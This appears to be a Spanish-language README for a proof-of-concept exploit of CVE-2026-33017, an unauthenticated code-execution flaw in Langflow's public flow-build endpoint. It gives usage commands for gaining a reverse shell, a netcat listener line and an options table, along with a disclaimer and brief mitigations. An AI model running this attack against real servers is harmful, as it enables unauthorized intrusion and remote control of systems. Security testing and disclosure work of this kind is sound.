
CVE-2026-33017 Langflow RCE PoC
PoC para la falla de ejecución de código no autenticada build_public_tmp en Langflow.
Sube un componente malicioso a un flujo público, activa una compilación y captura una shell inversa.
Solo para pruebas de seguridad autorizadas. Úsalo únicamente contra sistemas que poseas o sobre los que tengas permiso explícito para probar.
requests (pip install requests)Ejecuta el listener integrado y lanza el exploit de una sola vez:
python3 poc.py \
--url https://target:7860 \
--flow-id <public-flow-uuid> \
--lhost <your-ip> \
--lport 4444 \
--listen
Cuando la shell se conecta, intenta automáticamente actualizar a una shell totalmente interactiva.
Si prefieres usar tu propio listener (p. ej. nc -lvnp 4444), omite --listen:
python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444
CVE-2026-33017 es un RCE no autenticado en el endpoint POST /api/v1/build_public_tmp/{flow_id}/flow de Langflow, que ejecuta Python suministrado por el atacante desde las definiciones de nodos de flujo sin sandboxing. Para obtener más información, consulta los siguientes recursos:
Mitigaciones del informe de Sysdig Threat Research:
/api/v1/build_public_tmp o desactiva por completo la construcción de flujos públicos.Esta herramienta se proporciona para investigación y pruebas de penetración autorizadas. El autor no asume ninguna responsabilidad por el mal uso o los daños.
| Opción | Descripción |
|---|
--url | URL del servidor Langflow objetivo (requerido) |
--flow-id | UUID del flujo público compartido (requerido) |
--lhost | IP de callback de la shell inversa (requerido) |
--lport | Puerto de callback de la shell inversa (requerido) |
--listen | Ejecuta el listener integrado |
--timeout | Tiempo de espera de la solicitud HTTP en segundos (por defecto 30) |
-k, --insecure | Desactiva la verificación de certificados TLS (certificados autofirmados / caducados) |
--no-upgrade | Omite la actualización automática de TTY, usa una shell de línea básica |